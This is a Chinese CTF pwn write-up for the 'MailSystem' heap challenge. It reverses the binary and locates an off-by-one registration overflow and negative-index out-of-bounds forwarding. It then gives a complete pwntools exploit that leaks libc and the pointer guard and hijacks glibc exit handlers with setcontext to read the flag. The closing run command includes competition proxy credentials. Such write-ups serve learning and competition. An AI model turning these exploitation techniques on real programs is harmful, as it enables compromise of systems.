帮导师刷刷kpi来打打,很幸运还拿了1血,团队最后西南赛区总榜rk5,感谢大家一起并肩作战
MailSystem
查看保护,全开
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
沙箱,禁止了execve,后续可能需要orw
$ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
这是一个菜单堆题,看下main函数:
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u); // canary
init(a1, a2, a3);
while ( 1 )
{
while ( 1 )
{
menu();
v3 = 0;
if ( (unsigned int)__isoc99_scanf("%d", &v3) == 1 )
break;
while ( getchar() != 10 )
;
puts("Invalid input!");
}
if ( v3 == 3 )
{
puts("Goodbye!");
exit(0);
}
if ( v3 > 3 )
{
LABEL_13:
puts("Invalid choice!");
}
else if ( v3 == 1 )
{
login();
}
else
{
if ( v3 != 2 )
goto LABEL_13;
register();
}
}
}
简单逆一下init:
int init()
{
char *v0; // rax
int i; // [rsp+4h] [rbp-Ch]
FILE *stream; // [rsp+8h] [rbp-8h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
sub_15D2();
for ( i = 0; i <= 11; ++i )
qword_70E0[34 * i] = time(0LL);
qword_70C0 = malloc(0x400uLL);
memset(qword_70C0, 0, 0x400uLL);
if ( !qword_70C0 )
{
puts("malloc error");
exit(-1);
}
v0 = (char *)qword_70C0 + 50;
*(_DWORD *)((char *)qword_70C0 + 50) = 'imda';
*((_WORD *)v0 + 2) = 110;
stream = fopen("/dev/urandom", "rb");
if ( !stream )
{
puts("fopen error");
exit(-1);
}
fread((char *)qword_70C0 + 104, 1uLL, 16uLL, stream);
return fclose(stream);
}
init 里会分配 qword_70C0 = malloc(0x400),然后写:
qword_70C0 + 0x32 (admin)
qword_70C0 + 0x68 (/dev/urandom) 读 16 字节
Welcome_admin(0x1b9d)校验逻辑:
用户名:strcmp(input, qword_70C0+0x32)
密码:strncmp(input, qword_70C0+0x68, 0x10)
所以只要能改到 qword_70C0 指向内容,admin 登录就能被控
从user_register_malloc(sub_181B)中可知,一个用户的chunk分配的空间大小为0x410
__int64 __fastcall sub_181B(__int64 a1)
{
int v2; // [rsp+14h] [rbp-Ch]
int i; // [rsp+18h] [rbp-8h]
int j; // [rsp+1Ch] [rbp-4h]
v2 = 0;
for ( i = 0; i <= 11; ++i )
{
if ( *(_QWORD *)(8LL * i + a1) && *(_QWORD *)(*(_QWORD *)(8LL * i + a1) + 632LL) )
++v2;
}
if ( v2 <= 7 )
{
for ( j = 0; ; ++j )
{
if ( j > 12 ) // 用户注册上限为12个,但是好像可以扫到第13个
return '\xFF\xFF\xFF\xFF';
if ( !*(_QWORD *)(8LL * j + a1) || *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 904LL) != 1LL )
break;
}
*(_QWORD *)(8LL * j + a1) = malloc(0x410uLL);
memset(*(void **)(8LL * j + a1), 0, 0x410uLL);// 清零
if ( !*(_QWORD *)(8LL * j + a1) )
{
perror("malloc failed");
exit(-1);
}
*(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 632LL) = j + 1;
*(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 904LL) = 1LL;
return (unsigned int)j;
}
else
{
puts("User full!");
return 0xFFFFFFFFLL;
}
}
然后从写操作函数拿第一批偏移
看 sub_1C80(用户菜单里的写草稿):
memcpy((void *)(a1 + 272), buf, v3)说明草稿内容在+0x110
*(_QWORD *)(a1 + 256) = v3说明草稿长度在+0x100
*(_QWORD *)(a1 + 784) = 1说明 has_draft 在+0x310
看 mail_to_user(0x28d7):
memcpy((void *)qword_7060[v2-1], s, v4)说明 inbox 从+0x0开始*(_QWORD *)(user + 528) = v4说明 inbox_len 在+0x210*(_QWORD *)(user + 776) = 1说明 has_unread 在+0x308
看 register(0x19e7):
strcpy(user + 664, username)可知username 在 +0x298
strcpy(user + 704, password)可知password 在 +0x2C0
看 login(0x33a5)又用这两个偏移做 strcmp,再次确认没问题。
然后把数组下标换成真实偏移:
有些函数会写成 a1[79] 这种形式。这个要手算:
a1[79] -> 79 * 8 = 632 = 0x278(user_id)
a1[98] -> 98 * 8 = 784 = 0x310(has_draft)
a1[32] -> 32 * 8 = 256 = 0x100(draft_len)
接着补齐 uid / active 这两个管理字段
在 user_register_malloc(0x181b)里直接写:
*(user + 632) = j+1 说明 uid 在 +0x278
*(user + 904) = 1 说明active 在 +0x388
最终得到的结构体关键偏移
`+0x000`: inbox 内容区(`mail_to_user` memcpy 目标)
`+0x100`: draft_len
`+0x110`: draft 内容区
`+0x210`: inbox_len
`+0x278`: user_id
`+0x298`: username
`+0x2C0`: password
`+0x308`: has_unread_mail
`+0x310`: has_draft
`+0x388`: active 标志
然后是定位漏洞点
首先是注册越界:user_register_malloc(sub_181B)里有个明显的边界问题:
计数活跃用户 v2,要求 v2 <= 7 才允许继续注册,而且找空槽循环写的是 for (j=0; ; ++j) if (j > 12) return -1;
也就是说它会访问 index = 12,但用户数组正常只有 12 个槽(0~11) qword_7060[12] 实际已经越界到后面的全局区,正好能覆盖 qword_70C0 相关数据
所以后续我们需要精心控制活跃用户小于等于7,然后把注册推进到第13个用户
第二个漏洞在于admin菜单的mail_user_to_user(0x2cd6)对 src/dst 只检查了 > 12,没检查 <= 0

输入负数后会进入 qword_7060[src-1] / qword_7060[dst-1],直接 OOB 访问
这一点可以拿来泄露libc的相关地址,还可以改写users数组槽里的指针,把发信改成任意地址读原语
关于sub_1429(0x1429)这个函数也有点意思,逻辑是 10 秒内同用户发信次数 > 4 就封号
__int64 __fastcall sub_1429(int a1)
{
time_t v2; // [rsp+10h] [rbp-20h]
time_t *v3; // [rsp+18h] [rbp-18h]
_QWORD *v4; // [rsp+20h] [rbp-10h]
FILE *stream; // [rsp+28h] [rbp-8h]
v2 = time(0LL);
v3 = &qword_70E0[34 * a1 - 34];
if ( v2 - *v3 > 10 || *((int *)v3 + 2) <= 4 )
{
if ( v2 - *v3 > 10 )
{
*((_DWORD *)v3 + 2) = 0;
*v3 = v2;
}
return 0LL;
}
else
{
printf("\x1B[1;31;40m[SECURITY] Risk detected for user %d! Account banned.\x1B[0m\n", a1);
if ( a1 > 0 && a1 <= 12 && qword_7060[a1 - 1] )
{
v4 = (_QWORD *)qword_7060[a1 - 1];
v4[83] = 'lagelli';
stream = fopen("/dev/urandom", "rb");
if ( stream )
{
fread(v4 + 88, 1uLL, 0x10uLL, stream);
fclose(stream);
}
v4[79] = 0LL;
puts("Account has been banned!");
puts("Returning to login menu...\n");
}
return 1LL;
}
}
封号后它会改用户名、随机密码、并强制退出到主菜单
这个风控可以拿来反向利用,故意触发封号来降低活跃用户数量,满足越界注册条件
然后就是构造利用链了
先拿 admin 控制
思路是:
- 先注册
u1,u2 - 触发若干用户封号,让活跃数保持在 7 以下
- 继续注册直到走到第 13 次注册(
u13) - 越界写到
qword_70C0,把 admin 用户名和密码区清空
这样 login 时给 \x00 就能通过 Welcome_admin 走进 admin 菜单。
发 \x00\n 的效果是:
name 读出来首字节就是 \x00,在 C 里等价于空串
pass 也是空串
然后比较时:
strcmp("", "") == 0,用户名通过
strncmp("", "", 16) 在第一个字节就都是 \x00,直接返回 0,密码也通过
然后是泄露libc
用 admin_forward(-3, 12, 1) 这个组合去读 OOB 区域,最终在 u12 收件箱拿到一个 libc 指针 脚本里按固定偏移算 libc_base = leak - 0x21B803。
再利用 dst=-10 这种负索引,改 users[1]/users[2] 的指针映射,把转发逻辑变成:
从任意地址读数据到 u12 inbox(arb_read)
把任意数据写到任意地址(arb_write)
这个过程本质是把用户结构体指针当成可控跳板
接着泄露 pointer guard
glibc 的 exit handler 函数指针是 mangling 的,不能直接写函数地址。 可以先从 TLS 位置读出 pointer_guard,然后按:
enc = rol64(real_ptr ^ guard, 17)
生成可用的加密函数指针
最后打 exit handler,走 ORW
- 在 libc
.bss伪造__exit_funcs链 - 伪造三段
setcontext框架:open("./flag")、read、write - 覆盖
__exit_funcshead(libc + 0x21A838) - 菜单选
exit触发
最后 stdout 直接打印 flag
这道题的远程交互也挺恶心的
首先就是输出分包 + 延迟
Your choice: 有时会晚到,不能用太短的 recvrepeat(0.03) 赌运气 我后面改成了 recvuntil(多个候选提示符) + 可调超时
而且封号流程受网络 RTT 影响,10 秒窗口里发信次数不够就不会封 脚本里做了快速 burst + fallback 重试,才在远程跑稳
exp
import socket
from pwn import *
try:
import socks
except ImportError:
socks = None
BIN = "./pwn"
LD = "./ld-linux-x86-64.so.2"
LIBC = "./libc.so.6"
context.binary = BIN
context.log_level = "debug" if args.DEBUG else "info"
elf = ELF(BIN, checksec=False)
libc = ELF(LIBC, checksec=False)
PROMPT = b"Your choice: "
LEAK_USER = (b"u12", b"p12")
class Exploit:
def __init__(self):
self.peek_window = 0.03
self.debug_steps = bool(args.DEBUG or args.TRACE)
self.wait_prompt = float(args.WAIT or 8.0)
self.ban_quiet = float(args.BAN_QUIET or 1.0)
if args.REMOTE:
host = args.HOST or "127.0.0.1"
port = int(args.PORT or 9999)
self.peek_window = float(args.PEEK or 0.4)
if args.SOCKS_HOST:
if socks is None:
raise RuntimeError(
"SOCKS mode requires PySocks. Install with: pip3 install pysocks"
)
proxy_host = args.SOCKS_HOST
proxy_port = int(args.SOCKS_PORT or 1080)
proxy_user = args.SOCKS_USER if args.SOCKS_USER else None
proxy_pass = args.SOCKS_PASS if args.SOCKS_PASS else None
timeout = float(args.CONNECT_TIMEOUT or 8)
log.info(
f"connecting to {host}:{port} via SOCKS5 {proxy_host}:{proxy_port}"
)
sock = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
sock.set_proxy(
socks.SOCKS5,
addr=proxy_host,
port=proxy_port,
username=proxy_user,
password=proxy_pass,
)
sock.settimeout(timeout)
sock.connect((host, port))
self.io = remote.fromsocket(sock)
else:
self.io = remote(host, port)
if args.TICKET:
self.io.sendline(args.TICKET.encode())
else:
self.io = process([LD, "--library-path", ".", BIN], cwd=".")
if args.IO_TIMEOUT:
self.io.timeout = float(args.IO_TIMEOUT)
self.safe = None
def trace(self, msg):
if self.debug_steps:
log.info(f"[trace] {msg}")
@staticmethod
def is_banned_transition(out):
return (
b"Risk detected for user" in out
or b"Account has been banned!" in out
or b"Returning to login menu" in out
or b"Welcome to the mail system!" in out
)
def sync_prompt(self):
self.trace("waiting for main prompt")
self.io.recvuntil(PROMPT)
self.io.unrecv(PROMPT)
self.trace("main prompt ready")
def ensure_prompt(self, out=b""):
if PROMPT in out:
self.io.unrecv(PROMPT)
else:
self.sync_prompt()
def choose(self, n):
self.trace(f"menu choose {n}")
self.io.sendlineafter(PROMPT, str(n).encode())
def register(self, user, password):
self.trace(f"register user={user!r}")
self.choose(2)
self.io.sendlineafter(b"Input your name: ", user)
self.io.sendlineafter(b"Input your password: ", password)
self.sync_prompt()
def login_user(self, user, password):
self.trace(f"login user={user!r}")
self.choose(1)
self.io.sendlineafter(b"Input your name: ", user)
self.io.sendlineafter(b"Input your password: ", password)
self.sync_prompt()
def login_admin(self):
self.trace("login as admin via null credentials")
self.choose(1)
self.io.sendafter(b"Input your name: ", b"\x00\n")
self.io.sendafter(b"Input your password: ", b"\x00\n")
self.sync_prompt()
def write_mail(self, data):
self.trace(f"write_mail len={len(data)}")
self.choose(1)
self.io.sendlineafter(
b"How many bytes do you want to write? (1-256): ",
str(len(data)).encode(),
)
self.io.recvuntil(b" bytes):\n")
self.io.send(data)
self.sync_prompt()
def send_mail(self, uid):
self.trace(f"send_mail uid={uid}")
self.choose(3)
self.io.sendlineafter(
b"Who do you want to send the mail to? (input user ID 1-12)",
str(uid).encode(),
)
out = self.io.recvuntil((b"Overwrite? (y/n): ", PROMPT), timeout=self.wait_prompt)
if b"Overwrite? (y/n): " in out:
self.io.sendline(b"y")
out += self.io.recvuntil(PROMPT, timeout=self.wait_prompt)
if PROMPT in out:
self.io.unrecv(PROMPT)
else:
self.ensure_prompt(out)
else:
self.ensure_prompt(out)
return self.is_banned_transition(out)
def admin_forward(self, src, dst, which):
self.trace(f"admin_forward src={src} dst={dst} which={which}")
self.choose(4)
self.io.sendlineafter(
b"Enter source user ID (whose mail to forward): (1-12) ",
str(src).encode(),
)
self.io.sendlineafter(
b"Enter destination user ID (1-12): ",
str(dst).encode(),
)
out = self.io.recvuntil(
(b"Overwrite? (y/n): ", b"Which mail would you like to forward?", PROMPT),
timeout=self.wait_prompt,
)
if b"Overwrite? (y/n): " in out:
self.io.sendline(b"y")
out += self.io.recvuntil(
(b"Which mail would you like to forward?", PROMPT),
timeout=self.wait_prompt,
)
if b"Which mail would you like to forward?" not in out:
self.ensure_prompt(out)
return
self.io.sendline(str(which).encode())
self.sync_prompt()
def admin_logout(self):
self.trace("admin logout")
self.choose(5)
self.sync_prompt()
def user_logout(self):
self.trace("user logout")
self.choose(4)
self.sync_prompt()
def read_inbox_bytes(self):
self.trace("read_inbox_bytes")
self.choose(2)
self.sync_prompt()
self.choose(2)
out = self.io.recvuntil(PROMPT)
self.io.unrecv(PROMPT)
self.choose(3)
self.sync_prompt()
start = out.find(b"Inbox (new mail):\n")
if start == -1:
return b""
start += len(b"Inbox (new mail):\n")
end = out.find(b"\n\nWhat would you like to read?")
if end == -1:
end = len(out)
return out[start:end]
def ban_user(self, uid, helper):
self.trace(f"ban_user uid={uid} helper={helper} start")
self.login_user(f"u{uid}".encode(), f"p{uid}".encode())
self.io.recvuntil(PROMPT)
helper_bytes = str(helper).encode()
burst = bytearray()
for i in range(5):
burst += b"1\n1\nA3\n" + helper_bytes + b"\n"
if 1 <= i <= 3:
burst += b"y\n"
self.io.send(bytes(burst))
out = self.io.recvrepeat(self.ban_quiet)
if b"Overwrite? (y/n): " in out:
self.io.sendline(b"y")
out += self.io.recvrepeat(self.ban_quiet)
if self.is_banned_transition(out):
self.ensure_prompt(out)
self.trace(f"ban_user uid={uid} done")
return
self.ensure_prompt(out)
for i in range(1, 7):
self.trace(f"ban_user uid={uid} fallback iteration={i}/6")
self.write_mail(b"A")
if self.send_mail(helper):
self.trace(f"ban_user uid={uid} done")
return
raise RuntimeError(f"ban_user {uid} did not trigger")
def bootstrap_admin(self):
self.trace("bootstrap_admin start")
self.sync_prompt()
self.register(b"u1", b"p1")
self.register(b"u2", b"p2")
for uid in range(1, 5):
log.info(f"[progress] bootstrap early-ban uid={uid}/4")
self.ban_user(uid, uid + 1)
self.register(f"u{uid + 2}".encode(), f"p{uid + 2}".encode())
for uid in range(7, 13):
log.info(f"[progress] bootstrap fill user u{uid}")
self.register(f"u{uid}".encode(), f"p{uid}".encode())
log.info("[progress] bootstrap final-ban uid=5")
self.ban_user(5, 6)
log.info("[progress] bootstrap trigger oob register u13")
self.register(b"u13", b"p13")
self.login_admin()
self.trace("bootstrap_admin done")
def leak_libc(self):
self.admin_forward(-3, 12, 1)
self.admin_logout()
self.login_user(*LEAK_USER)
data = self.read_inbox_bytes()
self.user_logout()
self.login_admin()
leak = u64(data.ljust(8, b"\x00"))
libc.address = leak - 0x21B803
self.safe = libc.bss(0x2000)
return libc.address
def prep_leak_user_draft(self, data):
self.admin_logout()
self.login_user(*LEAK_USER)
self.write_mail(data)
self.user_logout()
self.login_admin()
def pivot_users(self):
self.prep_leak_user_draft(b"\x60")
self.admin_forward(12, -10, 1)
@staticmethod
def make_slot12_payload(slot1, slot2):
return p64(slot1) + p64(slot2)
def store_inbox_from_u12(self, slot, payload):
self.prep_leak_user_draft(payload)
self.admin_forward(12, slot, 1)
def restore_slots12(self):
self.admin_forward(3, -10, 2)
def arb_read(self, addr, size, force_len=None):
if size > 0x100:
raise ValueError("arb_read size too large")
self.store_inbox_from_u12(3, self.make_slot12_payload(self.safe, self.safe))
slot1 = self.safe if force_len is None else addr - 0x10
self.store_inbox_from_u12(4, self.make_slot12_payload(slot1, addr - 0x110))
if force_len is not None:
self.store_inbox_from_u12(5, p64(force_len))
self.admin_forward(4, -10, 2)
if force_len is not None:
self.admin_forward(5, 1, 2)
self.admin_forward(2, 12, 1)
self.restore_slots12()
self.admin_logout()
self.login_user(*LEAK_USER)
data = self.read_inbox_bytes()[:size]
self.user_logout()
self.login_admin()
return data
def arb_write_large(self, addr, data):
off = 0
while off < len(data):
chunk = data[off : off + 0x100]
self.arb_write(addr + off, chunk)
off += len(chunk)
def arb_write(self, addr, data):
if len(data) > 0x100:
raise ValueError("arb_write chunk too large")
self.store_inbox_from_u12(3, self.make_slot12_payload(self.safe, self.safe))
self.store_inbox_from_u12(4, self.make_slot12_payload(addr, self.safe))
self.store_inbox_from_u12(5, data)
self.admin_forward(4, -10, 2)
self.admin_forward(5, 1, 2)
self.restore_slots12()
def rol64(x, bits):
return ((x << bits) & ((1 << 64) - 1)) | (x >> (64 - bits))
def build_setcontext_frame(libc_base, fake_list, target, arg1, arg2, arg3, stack_ptr, fpstate_ptr):
frame = bytearray(0x1D0)
frame[0x68:0x70] = p64(arg1)
frame[0x70:0x78] = p64(arg2)
frame[0x88:0x90] = p64(arg3)
frame[0xA0:0xA8] = p64(stack_ptr)
frame[0xA8:0xB0] = p64(target)
frame[0x78:0x80] = p64(0)
frame[0x80:0x88] = p64(0)
frame[0x48:0x50] = p64(libc_base + 0x21A838)
frame[0x50:0x58] = p64(0)
frame[0x58:0x60] = p64(libc_base + 0x21BEE8)
frame[0x60:0x68] = p64(fake_list)
frame[0xE0:0xE8] = p64(fpstate_ptr)
frame[0x1C0:0x1C4] = p32(0x1F80)
return bytes(frame)
def run_once():
exp = Exploit()
try:
log.info("bootstrapping admin")
exp.bootstrap_admin()
libc_base = exp.leak_libc()
log.success(f"libc base = {libc_base:#x}")
log.info("pivoting self pointer to users[]")
exp.pivot_users()
log.success("pivoted to users[]")
log.info("leaking pointer guard from thread-local storage")
guard_data = exp.arb_read(libc.address - 0x28C0 + 0x30, 8, force_len=8)
if len(guard_data) < 8:
raise RuntimeError("pointer guard leak truncated")
guard = u64(guard_data)
log.success(f"pointer guard = {guard:#x}")
safe = exp.safe
fake_list = safe + 0x900
ctx_open = safe + 0xA00
ctx_read = safe + 0xC00
ctx_write = safe + 0xE00
stack_slot = safe + 0x1000
fpstate = safe + 0x1100
path_addr = safe + 0x1200
buf_addr = safe + 0x1300
log.info("staging ORW data and setcontext frames in libc .bss")
exp.arb_write(path_addr, b"./flag\x00")
exp.arb_write(buf_addr, b"\x00" * 0x80)
exp.arb_write(stack_slot, p64(libc.address + 0x45495))
frame_open = build_setcontext_frame(
libc.address,
fake_list,
libc.sym["open"],
path_addr,
0,
0,
stack_slot,
fpstate,
)
frame_read = build_setcontext_frame(
libc.address,
fake_list,
libc.sym["read"],
3,
buf_addr,
0x60,
stack_slot,
fpstate,
)
frame_write = build_setcontext_frame(
libc.address,
fake_list,
libc.sym["write"],
1,
buf_addr,
0x60,
stack_slot,
fpstate,
)
exp.arb_write_large(ctx_open, frame_open)
exp.arb_write_large(ctx_read, frame_read)
exp.arb_write_large(ctx_write, frame_write)
enc_setcontext = rol64(libc.sym["setcontext"] ^ guard, 17)
entry_write = flat([4, enc_setcontext, ctx_write, 0])
entry_read = flat([4, enc_setcontext, ctx_read, 0])
entry_open = flat([4, enc_setcontext, ctx_open, 0])
fake_blob = p64(0) + p64(3) + entry_write + entry_read + entry_open
exp.arb_write_large(fake_list, fake_blob)
log.info("overwriting __exit_funcs head")
exp.arb_write(libc.address + 0x21A838, p64(fake_list))
log.info("triggering exit-handler ORW chain")
exp.admin_logout()
exp.choose(3)
out = exp.io.recvrepeat(2.0)
print(out.rstrip(b"\x00").decode("latin-1", "ignore"))
finally:
exp.io.close()
def main():
for attempt in range(1, 6):
try:
run_once()
return
except RuntimeError as e:
msg = str(e)
retryable = (
msg == "pointer guard leak truncated"
or msg.startswith("ban_user ")
)
if retryable and attempt < 5:
log.warning(f"attempt {attempt}: {msg}, retrying")
continue
raise
if __name__ == "__main__":
main()
timeout 900 python3 exploit.py TRACE IO_TIMEOUT=20 WAIT=12 BAN_QUIET=1.2 REMOTE HOST=192.0.100.2 PORT=9999 SOCKS_HOST=1.dart.ccsssc.com SOCKS_PORT=27440 SOCKS_USER=zhmt0zzn SOCKS_PASS=l3scqodt

成功拿到flag:dart{8b16000a-7c0f-425b-ad94-a5df1f7c991c}









